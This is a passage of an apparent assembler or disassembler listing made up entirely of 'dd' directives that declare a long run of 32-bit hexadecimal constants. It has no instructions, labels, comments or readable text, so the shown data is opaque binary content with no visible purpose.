		dd 0F308BFA8h, 0AD512180h, 0BE589439h, 0DE15B500h, 0E06B547Ah
		dd 40013052h, 16FB6D90h, 0E930F251h, 1CA60CEDh,	0A361B739h
		dd 6800F611h, 0D2F239AEh, 75297FBBh, 25839CA5h,	10FB8B0Ch
		dd 0E1C260h, 1B5B3B6Ah,	0E47EFAC9h, 0BA5A0377h,	9CABF421h
		dd 0CE3116C8h, 27400400h, 5C5E290Ah, 0DF350FE6h, 0B38E41EAh
		dd 0C008F827h, 3471C091h, 0F0583Eh, 96EC03DFh, 8A497Dh
		dd 2D375C6Ah, 530945F6h, 9F8D561Eh, 0B5311C43h,	60C4C249h
		dd 0E254F1AFh, 0E0320942h, 0F4877216h, 4B6F8023h, 310088DAh
		dd 7F10D60Ch, 0B81651h,	0DE025DB1h, 0ED8B702Dh,	8688D903h
		dd 0A754BEA2h, 0E037A920h, 6B39040h, 0D7D39FDAh, 246108CAh
		dd 40D89121h, 6F02EC4h,	0ADB92DE2h, 18FF4987h, 1B4008E1h
		dd 39C402CEh, 40CC0E56h, 3DB323E0h, 8300A3E5h, 5F011138h
		dd 9755CD67h, 0B2665640h, 726725ECh, 41EC8E38h,	0CAAF00BDh
		dd 48699334h, 880017FAh, 6D35D9DFh, 67DCB47h, 15551989h
		dd 5660A0ABh, 83814339h, 585160CDh, 7CF3092Eh, 0E3F8CB76h
		dd 18296533h, 3BD6F03Fh, 385760A7h, 0AD455FC9h,	0AA1990E6h
		dd 0CE09597Fh, 0A6E92180h, 36F7A445h, 3B13BB01h, 0A87F6B80h
		dd 0E0D3000h, 3CB57A3Ch, 82510789h, 0D9D19CAAh,	64C446E9h
		dd 0B881003Eh, 628F7571h, 86E4ED48h, 3200EE75h,	984CB667h
		dd 90EC11DBh, 0B4E50066h, 5ABAFB90h, 58004226h,	5B0E6736h
		dd 18049D6h, 7F5C77B8h,	808F1EC8h, 0D8837866h, 18460334h
		dd 2055C5E3h, 918048D0h, 5966803Ah, 10DAAB33h, 406800A3h
		dd 77BAFEA7h, 9330EF74h, 5557302Eh, 0B5C230F5h,	685B7139h
		dd 6A383601h, 1A2CD387h, 216008BBh, 0D1685F6Fh,	9CCECC00h
		dd 0C9DB710Fh, 7AC50292h, 25AD4F74h, 66F92C84h,	38321438h
		dd 89882CCAh, 68637B81h, 8D30A29Ch, 25E800F2h, 875B3D80h
		dd 870D183h, 0BA000998h, 0A8B943E9h, 0B866BEh, 2E53524Ah
		dd 7472D105h, 24EAC900h, 38D8AC29h, 0D219004Fh,	9EDE7C54h
		dd 7B00D44Dh, 0CDFFF20Ah, 747F6483h, 88F8074Ah,	10694F52h
		dd 0E311D6C2h, 44008B74h, 0C0C367A5h, 0EC974Ch,	29A7FB33h
		dd 3E0D37D3h, 0B9E560E5h, 80657639h, 27D9C61Ah,	296319h
		dd 0AEEA087Dh, 0A773C336h, 0CDCF8F17h, 0C0DC9A0Eh, 5FF149B8h
		dd 0E91E4D0h, 7D534CEDh, 0C81A7680h, 1933F012h,	900C288Ch
		dd 60222160h, 861E1043h, 3203E86Eh, 0ECA6D7F6h,	1879F9h
		dd 0E11FFAF2h, 91058593h, 560F6F00h, 0A150C5CEh, 2DAD000Ah
		dd 0CC656073h, 0C40067C6h, 6117EBAAh, 3E47C95Ch, 8F88C8B7h
		dd 9480D4D1h, 0D3D0267Ch, 228C784Ch, 0B600EA96h, 0CCCF661Ch
		dd 809A8867h, 0D7189579h, 61E1F7C5h, 728E0068h,	6CC18DCCh
		dd 3E48EDE2h, 11EF076Ch, 0D996A59Dh, 0A6E400C8h, 710E0749h
		dd 7806DE31h, 0AB098C4Ah, 37E60788h, 0C07D4E10h, 0A21F709Dh
		dd 2E6DD81Ch, 8171F340h, 0C11038h, 64F48940h, 0F217CFE6h
		dd 27938700h, 14636BC6h, 0BD0F000Eh, 0B4FFF9C3h, 0BF07CEF6h
		dd 7D557421h, 0D881D2C3h, 3DB6C9CFh, 52979D77h,	715CF879h
		dd 0C00939h, 5C2D24D0h,	184891FEh, 0E051F930h, 4A070AA4h
		dd 0A6B2BBCFh, 0D4B89270h, 911802EDh, 629C6715h, 9C3C11C1h
		dd 2980C641h, 25ED21EEh, 0CF370015h, 0E591D3F4h, 0AC070914h
		dd 7F62869Fh, 8EA4DCC1h, 11851896h, 390084D7h, 0AA181CA5h
		dd 0A2040C7Ah, 1ADB13A9h, 90F94E00h, 8260B6F2h,	9858CB10h
		dd 0C1F035h, 92A7BA99h,	0A9C52F74h, 2612B000h, 55E3D2E6h
		dd 16CD00B8h, 1898202Ch, 0BB3A344Bh, 29900051h,	85B4DBE1h
		dd 0ED051EA1h, 0D2D025F6h, 54117C0Fh, 0FA2E0503h, 7E961D80h
		dd 0B45B01C1h, 671EAFDFh, 2789D0DEh, 916420C0h,	73E567Eh
		dd 0F62F1782h, 0F38D81A0h, 79A60075h, 0D019012Ch, 348B3C7Dh
		dd 9828E8C9h, 8D3D6E1Dh, 551148B0h, 0F1C30721h,	0E1EAC7E7h
		dd 0F0F858BEh, 103E0BDDh, 450903D7h, 0E15BB242h, 0FAF87990h
		dd 0A09E08AEh, 0E88089C3h, 123DED4Ah, 0BF860780h, 43B39B34h
		dd 20009C7Eh, 99EA646Fh, 30100F49h, 4D3988D8h, 0A006641h
		dd 0CC502BF9h, 345B45h,	0B8569AABh, 0D6AC872Fh,	67BC6306h
		dd 88901901h, 0E86DA690h, 2C1F304Bh, 0D8EC8711h, 6C76B38h
		dd 18DFDA8Fh, 0FB833008h, 0D8FF6420h, 75F0A700h, 0DF3305E9h
		dd 2DE100FDh, 25985EF1h, 0DD018D26h, 17B47F1Fh,	7085E0C0h
		dd 203AFA64h, 0B0D85134h, 1B89C623h, 8F82159h, 70EE99D8h
		dd 79079418h, 0E9E319h
		dd 8362F5Fh, 932B6718h,	0ACAA1E28h, 1896A881h, 57EC04B0h
		dd 2C871012h, 0ED6A1D4Dh, 0C99F87DFh, 0E18FF167h, 1199E861h
		dd 0D9DBF100h, 7CEBEA1Ah, 440807D6h, 209C6CF5h,	40976187h
		dd 30673F00h, 88078EE6h, 28530057h, 98F9E8AFh, 8C0069A7h
		dd 5EE4BDBEh, 47439Fh, 568A808Fh, 0EE850F1Bh, 0E287700h
		dd 78AB1CC7h, 7EDF1DA4h, 0B3ED4083h, 0ECD1A014h, 0B227F300h
		dd 0A3A90C64h, 788401E9h, 5CCEC652h, 3E4AC0F2h,	34289C1Fh
		dd 0F44CA000h, 4EE42Fh,	941FFA3h, 0A27772DCh, 0F81D5C1Ch
		dd 0DF08703h, 5D1800E3h, 0F243FA34h, 8331A780h,	0F4F8BA1Eh
		dd 12D0C0h, 718DCF62h, 0BDE87F84h, 250C2A03h, 0D619DEh
		dd 1D318C40h, 0DB38F1E6h, 7ABC68C0h, 0C602AD58h, 81F56928h
		dd 953BB400h, 0F696E9F3h, 9E050090h, 366985EBh,	4000A303h
		dd 8397A246h, 0FF7DC30h, 64DA595Eh, 203C56E1h, 0F11DFFBBh
		dd 161F57A9h, 1DA1F500h, 3F04820Bh, 30F61218h, 0C128D0E5h
		dd 0F7632E51h, 7C4274C8h, 0E6090008h, 3BA06C67h, 18E6EB8Bh
		dd 5F92F31Fh, 8DAB9001h, 884642D7h, 1233030h, 682DDA39h
		dd 0D456E007h, 52801D98h, 0A555B3h, 0B818774Ch,	85191C13h
		dd 5A81FA60h, 248BA36Dh, 1D3321h, 0B6136A0Bh, 6100ABEEh
		dd 0C33EA87Ah, 8E183Ah,	0FDBB02B9h, 0EE51F12Ch,	3C088C00h
		dd 291B2AC2h, 6450007Fh, 61D595EBh, 69005FD1h, 0DC229AA9h
		dd 3F4A83B5h, 7C005646h, 95943A53h, 7B1D2AA1h, 0E2EE4DE1h
		dd 8BF96D00h, 98B5EE9Ch, 38DA60C9h, 59D9DF21h, 0BA30560Fh
		dd 25186166h, 60C07C40h, 760B1716h, 594700B4h, 62145D53h
		dd 3C3F6800h, 0A384BA9Ch, 7FCA0167h, 7AB2356Ah,	0D0909F20h
		dd 3B1D2CC0h, 1AF847Bh,	7807A7DDh, 0E4FFD7AAh, 883E74E5h
		dd 0F0570094h, 0EB1753B1h, 1920A01Ah, 389005Eh,	796E4FD6h
		dd 6D00670Ch, 0BF160FB6h, 66E15Fh, 38835C2h, 4D93302Dh
		dd 2FF9E48h, 0F206EEDAh, 528CA39Ah, 0D7E900DEh,	77EC67BDh
		dd 0BE000A70h, 0CA244AA2h, 0C1C5FD5h, 2DB36C2Ah, 0F5003981h
		dd 0BD2F3687h, 0F11595h, 28FA01D0h, 7BADF72h, 1FE94600h
		dd 77C20CF9h, 25421659h, 0DCDF002Ch, 90D6EB5Bh,	8A46710Bh
		dd 3DBC00CFh, 0E2E7749h, 5D31F0FDh, 623FDC80h, 400369Ch
		dd 0E5CF0FA9h, 0FA7C52h, 2CD8D0B6h, 5794A460h, 0DC1E1F01h
		dd 9D896470h, 34419171h, 0C0F30F63h, 7E97236h, 6BC3E10Eh
		dd 623480B6h, 0C900DF03h, 3937413Bh, 8FCB17h, 0A95E4D47h
		dd 0F65DE9AFh, 0DCCA60B5h, 1C89C025h, 0C95E9B74h, 0D995800h
		dd 8B15325Bh, 5DDF03A9h, 1DEAE7BCh, 0E8A0EC90h,	0C07EF801h
		dd 0DD4A7FC9h, 7A7AD8F8h, 80356030h, 22FC1150h,	65CA9000h
		dd 87422DD3h, 21560FF1h, 4901E813h, 40A29953h, 0BC6A5E84h
		dd 0AF63D500h, 3E31322h, 9A5D02C5h, 0DE2042ABh,	11076543h
		dd 366E08A6h, 0CCBAD5A0h, 0A724184Fh, 3F387904h, 59871303h
		dd 0E2A9AC37h, 0B16841FCh, 0E70B60h, 0E06FB2EEh, 85F9DB0h
		dd 6E38B674h, 60771D94h, 0BDD16901h, 7FD5B7E0h,	0EFE413F3h
		dd 1E30092h, 7A32C1DBh,	0D0FB47Fh, 802E178Ah, 0D61DEE80h
		dd 0B0FC1F54h, 38300C7h, 416A3E90h, 967D2000h, 0E5081666h
		dd 7BF500CDh, 2D1E34B4h, 0F603372Eh, 0BB392584h, 139DC115h
		dd 0C0BF209Fh, 88D99436h, 0AD0F8DB1h, 0E3FB0A4Ch, 0C099E59Dh
		dd 1EE55F8h, 0C3D5F736h, 0C41E9EB0h, 5B306227h,	6D17B095h
		dd 0EA0C168h, 0BE5F28A2h, 0E0458E0h, 0FD9FC5Ah,	0C26D032Fh
		dd 94280398h, 2764E634h, 0B1F7F6F1h, 6D9718E8h,	0A642FCh
		dd 0EE56E184h, 585A8BFEh, 35459B00h, 71765999h,	0ABD600ADh
		dd 4DA3C531h, 70010814h, 67666ABFh, 808A8221h, 4224EB76h
		dd 6A0061DAh, 59A06F2h,	0D319139Eh, 69CC0132h, 0B1935583h
		dd 0BE895488h, 80C92BF7h, 40176104h, 1FF040B5h,	6F00BC82h
		dd 0DAAA8127h, 983F8508h, 7DFEF0A8h, 0D96D00F2h, 55A2B4ACh
		dd 0A602C79Eh, 0E7284591h, 0D7E643A4h, 0F7F8E4B0h, 72C7E79h
		dd 5C84EA8Eh, 3E256080h, 4300DA55h, 0FEF6BE30h,	0A051FCh
		dd 0D31AB48Ch, 92ABE959h, 8AA4C100h, 0EF01DB67h, 0EC7800ADh
		dd 0DDC63B0Ah, 0B1007C98h, 0C7E6443h, 32EFB23h,	0BA5A57D3h
		dd 88E8A1C9h, 0C7003EDDh, 0FB2F9E22h, 16F6B1Ah,	6A61C381h
		dd 0CC6966E5h, 1500FE98h, 3B4D346Eh, 0E88586h, 72358324h
		dd 2C6A1A89h, 0EA58E400h, 0C78B2F0h, 98375029h,	52D70071h
		dd 0F765BBF5h, 0CB0EDFD3h, 60E2AAD4h, 0C1FABC13h, 1D477E86h
		dd 43AC7ABAh, 1695535Ah, 0FC60EA88h, 0BC65B900h, 4AF9FABEh
		dd 0F7400026h, 191BC48Fh, 0E4006F03h, 0FF4F06AEh, 7B35CFCCh
		dd 0F8630073h, 2C0AB9B0h, 0EB004033h, 5A696EBEh, 54D1650h
		dd 0B16D9FB2h, 80EC5DB8h, 2C58B97Eh, 0D900C18Ah, 0DC0243BCh
		dd 99B6EB3h, 62B870A4h,	0F9868023h, 4B26C90Ah, 2E00D0D9h
		dd 0BB6E6259h, 0D4F300E4h, 0D83327C9h, 3F2410EDh, 0D005407h
		dd 69C694BFh, 0EFA00DEh, 0E91A6445h, 0C774867Fh, 4CFB660Eh
		dd 81495F74h, 0DE58005Ch, 5CD12CF4h, 6F003A43h,	0A1B968EEh
		dd 1E0F18EBh, 0A091A9C4h, 0D24594AAh, 0A70D00D4h, 85561D32h
		dd 19015D9Bh, 3108FDCBh, 46204EC6h, 0EB12ECA6h,	137CF70h
		dd 6E50027Eh, 8F6CE649h, 0C0F77CF9h, 184D32AAh,	6D9A0103h
		dd 74C2D5F0h, 5E3820CFh, 0A2BA30EDh, 8026E93Dh,	1F4A08EDh
		dd 1525DB22h, 0AC77528Ch, 0A1025102h, 94A0EEE9h, 0D24E1614h
		dd 8B9AE31Eh, 0F9A000FAh, 32070691h, 0B9B300D6h, 0F89214DAh
		dd 0BA00A32Fh, 0D77AE102h, 77CFE09Eh, 0DADD302Dh, 1E6482A8h
		dd 0B26AA503h, 0E83DD989h, 128A1EEh, 0FF97FBE3h, 0C6E7C730h
		dd 9FDE1040h, 11EA43Bh,	0FA22E1F8h, 8A82D2ECh, 0D80710AFh
		dd 0C054CB87h, 6B03B377h, 73608148h, 16943350h,	4717E118h
		dd 3D18F6C9h, 67800C82h, 697F1EABh, 7567FA6Ch, 176030FEh
		dd 2AE2FB15h, 0AC011Bh,	75AD8610h, 2B95D09Fh, 0B3E82D00h
		dd 0D842FB5h, 3A949260h, 6200FA8Bh, 0E44966A7h,	21009DD0h
		dd 0EED88A29h, 7B3554h,	1B1727ADh, 0EBF111C8h, 84894307h
		dd 5613FA3Dh, 78FFD8B1h, 73C50EBAh, 26403F5Ah, 25975832h
		dd 0A4863600h, 8CF75528h, 0BF241E9Eh, 0C2BBBFCFh, 6394C007h
		dd 0F23F336Bh, 4FDDE2E0h, 41009BE6h, 2807ECE9h,	3C932737h
		dd 0C680DAF6h, 525388C2h, 982A50CAh, 5B00FC1Fh,	0A2F8D7Dh
		dd 99F12Ah, 0C3E67229h,	8AC18B6Ch, 2C5D4FBh, 23309A1Ch
		dd 4412F058h, 1B4A00F3h, 77F4F9CEh, 5A2EFF24h, 0BB1E8034h
		dd 5847D14Ch, 0C0380041h, 2C401A0h, 0D72CD0B5h,	8300699Ah
		dd 0C2F0DE3Fh, 0E5943803h, 6CDCF480h, 426901D3h, 48AD5E00h
		dd 0CB3BD280h, 47530319h, 4E554AA3h, 2FF7509Fh,	9F00404Ch
		dd 964BD620h, 0AC755Ch,	2BC9C651h, 1EBC84Dh, 70588A4Dh
		dd 2064C301h, 88522930h, 3CBE98CBh, 725800FFh, 0C2DB426Dh
		dd 0B0E6CD2h, 8038B835h, 0AA397BA4h, 7DE0005Dh,	7F74E04h
		dd 95E8B273h, 0A53AC00Bh, 0CF2E8056h, 0F243BDh,	0A7C44732h
		dd 0BF4ED534h, 167431F4h, 48994Ch, 22A80378h, 90D033D6h
		dd 971A07D0h, 0B1FB68EDh, 0E9AD1DD8h, 93C88020h, 0D3D9EA9Dh
		dd 0A41901BCh, 996C498Eh, 0D0243110h, 3A00B5A5h, 4D7506ABh
		dd 1834FBD3h, 20256FB4h, 0FA07E6B7h, 5DB5A0E1h,	480F2FF2h
		dd 17455688h, 4F0C404h
		dd 956741FFh, 5D7421B4h, 4EA82455h, 34C03B42h, 5A281223h
		dd 0F3954900h, 66B488CBh, 8BEC00A9h, 1B901832h,	7D284FE6h
		dd 0F2073014h, 0A8DFB907h, 0B49C9230h, 0B58C008Dh, 964F54B7h
		dd 0CD00F11Eh, 6A770C69h, 1811CB43h, 100D6EC4h,	455B6796h
		dd 1C4082F0h, 0C39F35F4h, 0BF89883Ch, 2A519DA0h, 0AC0ECF7Eh
		dd 8087E606h, 4AB9C901h, 0DD60007Bh, 0A61EBD5Bh, 0FA00797Ah
		dd 0B7C89CB0h, 902D5C14h, 0CE380084h, 0A46D8E26h, 0C200F3E1h
		dd 5B1192FDh, 6F42D4h, 0DBBB83Fh, 0E22AC85Ch, 0A3DFA802h
		dd 0C04CE929h, 39798E4h, 7B2C5EBFh, 32A07605h, 4707DBA9h
		dd 0F6B0E751h, 60156802h, 1FB78875h, 40E8293Eh,	67094C4Dh
		dd 66001FC5h, 3221BAC2h, 9B39B1h, 1D634091h, 3E850FD4h
		dd 7D071A00h, 57D9CF8Bh, 0D898C372h, 7FA00CA8h,	0C7000E7Bh
		dd 78AE2364h, 76CC039h,	0FC8D71D5h, 91F347BCh, 0E2088142h
		dd 0C236B960h, 0AC60E100h, 26AF4061h, 0CFFB007Fh, 0DEC3A475h
		dd 0B2008CE3h, 8FCE4B57h, 0B189A89h, 0FBB5C826h, 97751430h
		dd 58DBB41Eh, 540376C3h, 7D9CE865h, 2EED0070h, 74FA9F81h
		dd 0C814CBEBh, 1CB832BCh, 163D6718h, 6C407F27h,	0B493B10Fh
		dd 0CF832432h, 924E6438h, 28465690h, 864AE40Eh,	0A85CE2BCh
		dd 0F0584B5Dh, 0C73AB2h, 0BB1C8C10h, 0B66BADA7h, 4A862D00h
		dd 0E1DD8FD5h, 33DC0026h, 627C6643h, 0B9029777h, 30672D83h
		dd 0F0B74381h, 1F45B9Ah, 76FD7501h, 30CFBEC7h, 5E00B815h
		dd 1B25C18Dh, 9DE3920h,	0E94F1AC4h, 2E737000h, 0F7775935h
		dd 0F6648400h, 0DF09F5B0h, 0F3011E1Eh, 1846C008h, 83E8EAD9h
		dd 6100F7E2h, 340F1CCCh, 13C9945Eh, 16343A3h, 644B333Ch
		dd 4DA26028h, 1F960E00h, 0C66ABAD6h, 91A60074h,	8F24767Bh
		dd 52A5694h, 274DF4A8h,	1FE07BCh, 0DB830450h, 0BAC1AB92h
		dd 0FCC4FAh, 8D9C3E1Eh,	74906ACDh, 844E49h, 62BD1989h
		dd 13DB674Fh, 0D4DE61h,	2F5FAC54h, 0C75428DAh, 0B120A1CCh
		dd 0FC982Ch, 0AA2DD6F8h, 1FF45AD4h, 9291F700h, 0DB4CDC35h
		dd 0E550054Bh, 0D6CFDFh, 59FD1CB0h, 0AC96B0F1h,	0C009940Ch
		dd 0E03D54E8h, 0E884502Dh, 7148671Ch, 3AE0FE34h, 46552954h
		dd 83B4C80Ch, 861ED1h, 96C565A1h, 6356DC84h, 2E69BD00h
		dd 1F6849AFh, 6EF209A3h, 40833801h, 0C1884E58h,	0FE07D2D3h
		dd 0F75F2F95h, 0ED47A560h, 0C2E41Fh, 0B3FF882Eh, 346A7655h
		dd 0FA4D48h, 61F07F07h,	0C0FB698Ah, 3D51BBBCh, 680046EBh
		dd 5C176DDAh, 20B76Ah, 0E6630D5Bh, 0C1454BD2h, 78AA5100h
		dd 36F21049h, 0F471001Fh, 21C2EB38h, 67DC76Ah, 540EC939h
		dd 6E3F95C0h, 39B305A2h, 3080A7BAh, 2E7A79F9h, 0C4FA04h
		dd 6AFE72D5h, 0C4164137h, 38214DD0h, 80159378h,	0E8FD0C60h
		dd 0B5726005h, 0C8002FFCh, 8426095Ah, 0DC3C80D3h, 0A5ABF105h
		dd 0F8075B99h, 0DBC3A691h, 6C34B83Dh, 0D6300251h, 4508D79Eh
		dd 6E680760h, 0FA1F46FEh, 60C7F80Fh, 32C0F5E3h,	0C7BE9Bh
		dd 1B3785B9h, 5A4493B3h, 17040458h, 3C4501C0h, 0AC90A6F2h
		dd 67966E02h, 507278BAh, 0CC8B0683h, 41FCF350h,	0CE2A8077h
		dd 0A800E44Dh, 7A383EE5h, 175EA5Ch, 0AEFF5F90h,	709C7427h
		dd 290E8C0h, 0C80FD14Bh, 80AFEB9Bh, 132E0B4Dh, 3C033FF5h
		dd 0EAF735A8h, 0A8CC166Dh, 5DEB0265h, 0E860E0C5h, 0EC0033B4h
		dd 0ACDCFCE6h, 5F0B24h,	9E5C1310h, 0FF323A5Dh, 12687201h
		dd 1C2D3DC9h, 4C65DDC0h, 820AAC09h, 8D705Bh, 64498BBCh
		dd 5700623Ah, 7F3CAF6Dh, 0DCD7E5h, 2B967C76h, 36616347h
		dd 0D8BCA407h, 0A0AEC688h, 9116E059h, 95FAB1h, 0B3CAF5B2h
		dd 4BC89D6Dh, 0BED0C03h, 0F81AD34Ah, 1E178Fh, 987C6A1Dh
		dd 429FCA1Ch, 3C0072FCh, 0F8BCB693h, 3956D037h,	0E50FEC41h
		dd 0F64FE907h, 71EBAD80h, 92015A9Bh, 4A476512h,	0A4388DBDh
		dd 46E00100h, 9B66169Ch, 5011B90Fh, 0F2ED402Bh,	0E0FEB585h
		dd 6997032Eh, 3263F16Ah, 1A8954B8h, 0B8C9C83Dh,	705D008Dh
		dd 5794C071h, 9896738Bh, 0C72000D8h, 3E394924h,	0B61FF2ABh
		dd 62046E9Eh, 36C08297h, 63D18B20h, 8FAB2ADBh, 0A3ED9001h
		dd 0D02F0431h, 3C5258F0h, 0C587DE0Ah, 40C21CD7h, 0ABB1B5F7h
		dd 0DF34C900h, 5DAE304Ch, 67773088h, 0EB261F79h, 83031375h
		dd 30387B32h, 0B86801EDh, 0AE8AB524h, 0E88EE566h, 0A82CC381h
		dd 2B05306Fh, 8C468745h, 3AA08A2Fh, 6C0AD95Fh, 4010DCECh
		dd 0E8A8BCEBh, 0C800B1FAh, 0B35B1509h, 76029F70h, 0AC733Ah
		dd 0AF7FF9EAh, 0A76856E2h, 0BE08C00h, 0F66EF11Ch, 59B203E9h
		dd 7F042CC4h, 0E097FE81h, 3079B5Bh, 40FCA538h, 0ECF40029h
		dd 60EEA78Eh, 2B0CE463h, 0CEE96C94h, 6B788478h,	7529A702h
		dd 0C07493DCh, 0B2EC1C4h, 0A2F18C26h, 0C8D58041h, 490E61ABh
		dd 40C05552h, 7A931F9Eh, 0DA0500AFh, 0FEFB76E1h, 8906F64Eh
		dd 84B0F999h, 208C0060h, 0A9ACBB3Ch, 4019B172h,	60084DABh
		dd 0A3C02180h, 0E5DE1BBDh, 7BFE4901h, 141E76B4h, 0FAF6D9D4h
		dd 8C2E1C34h, 81113CB7h, 58EC107Ch, 108CC044h, 5A19D15Dh
		dd 187CD2F8h, 50F8591Eh, 2403DE97h, 358E34A6h, 2EA800BEh
		dd 6D8CEA92h, 6F00883Eh, 0EB0AB47Dh, 0F0A936h, 7969ABA1h
		dd 356C7561h, 7F0E4E7Ah, 934562h, 44A6F910h, 6FDE031Ch
		dd 0AD88254Ah, 391F31E8h, 4CEE8D00h, 5811B698h,	847B00B9h
		dd 3A07AD8h, 0F5009B93h, 0EF2F4F2Eh, 2805EBh, 0A854F7FBh
		dd 4DE4791Ch, 7CCCB825h, 95E1002Ah, 7CEDB9CBh, 174FD24h
		dd 0B3D50201h, 0E4ECC1D2h, 313C0379h, 8BCBC4FEh, 815EF198h
		dd 0E8029304h, 16C79D9Fh, 0D5A75530h, 0E2AE00D9h, 0AAC2999Eh
		dd 0A073EFC1h, 0BEA9883Bh, 74F88381h, 0FAD039h,	9A8E6528h
		dd 47488BDEh, 0A2009490h, 9EF5E15Eh, 3BE9AB24h,	330020FBh
		dd 0DB61A9D1h, 0B000D12h, 4F2BFA1Ah, 3431A7h, 97CADF3Fh
		dd 0AFA39EC6h, 5FEAA201h, 0D4E7F3CEh, 383F9180h, 922A0747h
		dd 0F63BF778h, 74100065h, 0C496DC5Eh, 0DF3C4C02h, 47950075h
		dd 0D45FB63Fh, 0F3E7F4Ah, 398D0023h, 4009C098h,	0AF120079h
		dd 5937DC5Fh, 831DC467h, 74C6F1B2h, 0FA89E27Bh,	1AE266h
		dd 2581A758h, 48085F54h, 4A39927Dh, 0FEE483Ah, 0A5A6322h
		dd 1CC1041Eh, 10804C1Ah, 38E7362h, 28027BD0h, 84DCAE51h
		dd 1D58E0F0h, 0C02603C6h, 0C83EC180h, 5D9A62A8h, 0A3B60300h
		dd 57AA5ED4h, 678B003Dh, 0A2E6F291h, 0FF00856Dh, 18C3F033h
		dd 18D5C42h, 0B8F804A7h, 601DB2EDh, 0D426D868h,	0B1008E50h
		dd 71F3E417h, 9D740004h, 0C5AE4986h, 6E01EEEAh,	4D245E06h
		dd 772064F8h, 0BED30E67h, 90A912CBh, 0EDE428h, 0CF800913h
		dd 4F00E2D5h, 4B660296h, 0E4B17B62h, 28AD0076h,	0EA40F2FAh
		dd 9900AB41h, 0BB471AC0h, 3D87B3D7h, 809EB58Fh,	177080C9h
		dd 0CF1E5945h, 436F7E00h, 7754EBA7h, 3F37B66h, 0DB5C1C93h
		dd 4BBB65D8h, 0E9C895C0h, 0F4A74903h, 0A8619733h, 140CBF0Fh
		dd 0B4318902h, 0EC2B7900h, 33953DCCh, 13E5E61Eh, 675088C0h
		dd 7AC73285h, 28F30001h, 9A2017A2h, 0AA004792h,	4C210650h
		dd 0BD7827h, 0FA4E822Dh, 25035395h, 466E8A0h, 231BB700h
		dd 0D4483975h, 0DA703FBh, 1E016474h, 77861DC8h,	0CDBC8054h
		dd 0B56A3200h, 100566ECh, 3A6D1E71h, 0CA5E33h, 0DBF69A0Ah
		dd 0DE03B652h, 54F55D82h
		dd 6CEE8D5h, 3A6001Fh, 0CC90DD79h, 6100D64Bh, 99336BEEh
		dd 1BBFF75h, 7E81F9CFh,	0CCC90F55h, 98003BFAh, 4AA9390Bh
		dd 169309h, 0C3B4A4A7h,	0D6B3496Ch, 45F93303h, 90F843CBh
		dd 0B8BDD20h, 0CC110AE1h, 5BFEBD80h, 620052A6h,	4BA2AC21h
		dd 0A54225h, 9E965F77h,	3F4FCDEh, 0CD8E1100h, 971289BCh
		dd 440D075Ch, 60E92D90h, 3330C99Fh, 7B95A200h, 0E8C1BB39h
		dd 0F06E008Ch, 4C71EA13h, 7800D32Eh, 86D74582h,	6C18CEh
		dd 20732B31h, 0EAF39363h, 1ED86400h, 0FE7AB57Bh, 61B70241h
		dd 48CBA927h, 6226F480h, 9F00FF70h, 9EF2DF16h, 9814B571h
		dd 3B8F0091h, 25FB9B20h, 2D02AC44h, 76C01B4Ch, 0F484C0AAh
		dd 0D8A0005Ch, 1805DBDDh, 0C8FFFCA7h, 0D900A869h, 0CAD3FD8Ah
		dd 30830C82h, 0C8704BF3h, 0CB009EA5h, 80F5D521h, 38322DA7h
		dd 88828908h, 535192F1h, 0D0969849h, 0FA004DD2h, 0AE7DFBE5h
		dd 0FCE71959h, 0F1270172h, 34251102h, 83843090h, 0EE998004h
		dd 1C802FCCh, 1B5A2AD6h, 10409195h, 439EA2F0h, 70010BE0h
		dd 3C0C85F7h, 98804D16h, 0DE75625Fh, 7600BF72h,	9A871989h
		dd 0FD8EA68h, 93239C99h, 7DE57180h, 66047CDBh, 0AD6C8E21h
		dd 9020F587h, 5267Ah, 0F7CC1247h, 25A546D0h, 8DDAE400h
		dd 2BE292E5h, 0BC83EC5h, 16C1C200h, 9F3FA65Dh, 0B6935C00h
		dd 42AAE174h, 4F0C01A1h, 8C608B9Ah, 36408062h, 40E347B8h
		dd 3147008h, 381FFA35h,	0C5B0128Ch, 0F9005326h,	47D05A01h
		dd 0B2EB37h, 6064E463h,	6814461Ch, 0B7D2BE00h, 98853D32h
		dd 11D07A4h, 10EDAC99h,	0EA91F79Ah, 7EF46114h, 0BB5E2488h
		dd 0A346AB03h, 749DB00Eh, 0EA3400D2h, 731AC8Bh,	47028137h
		dd 8575F363h, 3B45608Fh, 14B0C068h, 7366DEC3h, 0D2598B07h
		dd 0A82A599h, 0E17FC022h, 9F7C10h, 0F879E240h, 29692C8Dh
		dd 0EBBD4Ch, 0ADCE1986h, 83662Dh, 3CF95287h, 62C2CF46h
		dd 0C6E52805h, 0DC076007h, 33306B98h, 721275C0h, 0D17F0FC4h
		dd 6D003A35h, 0F9C917B5h, 0A3BDE900h, 4191C2D7h, 0C5DB003Dh
		dd 175FE8E5h, 78008BD9h, 7FC954D8h, 34F4BCh, 3D86FC59h
		dd 0C3276919h, 22EB7100h, 54CA4E65h, 0F7892691h, 7ABF00A2h
		dd 0B4E987D1h, 5BFC3Ah,	0F9C1035Ah, 0C2B2DDCh, 4313FFBBh
		dd 0A1004B44h, 0E551EA01h, 0F8A81Eh, 0FCF3F9CEh, 13CCE8DBh
		dd 0CA69A400h, 874383D4h, 8D9C2CEEh, 33098180h,	0CC3B8CA7h
		dd 1C008EDAh, 3781BCEBh, 2DEEE0Dh, 1861D5F5h, 0D0E38947h
		dd 3F7D17E0h, 33E43Dh, 46B6E19Fh, 3C4E205Ah, 809415D8h
		dd 3301D461h, 62A04FECh, 41E68039h, 25149266h, 0EB900C1h
		dd 5AF15BBBh, 93004985h, 0F632506Ch, 1C52DD44h,	712356h
		dd 2F7A79F1h, 88009796h, 0BE503F68h, 0B0F927h, 10BAAE98h
		dd 4B34E5F1h, 3307A079h, 3C2AC2E4h, 5AFBB991h, 0C6F891C9h
		dd 0A6180025h, 0F0531FD6h, 0C30C3288h, 101E4FFEh, 2D480E1Dh
		dd 6040414Eh, 27F317F6h, 8D1F5F03h, 80DE7A47h, 0BE95BAh
		dd 0B0650B8Eh, 0ED294E3Ah, 37508303h, 0E8588A04h, 27C06242h
		dd 2460D62Ch, 0B7007D74h, 0E5C4CF6h, 0D31952h, 0BC394DD8h
		dd 73636D54h, 0A949D000h, 0C8617211h, 0A72F1DF9h, 0B25D8FCBh
		dd 1B60BCEFh, 7841BA4Fh, 0F4029201h, 937B99A9h,	9BAED8h
		dd 25B0291Eh, 54A1DFD2h, 57FF00Ah, 5680F013h, 31525D2Bh
		dd 46611879h, 134ED0A7h, 0D45538h, 0CDA17FB5h, 1E4A0B9Fh
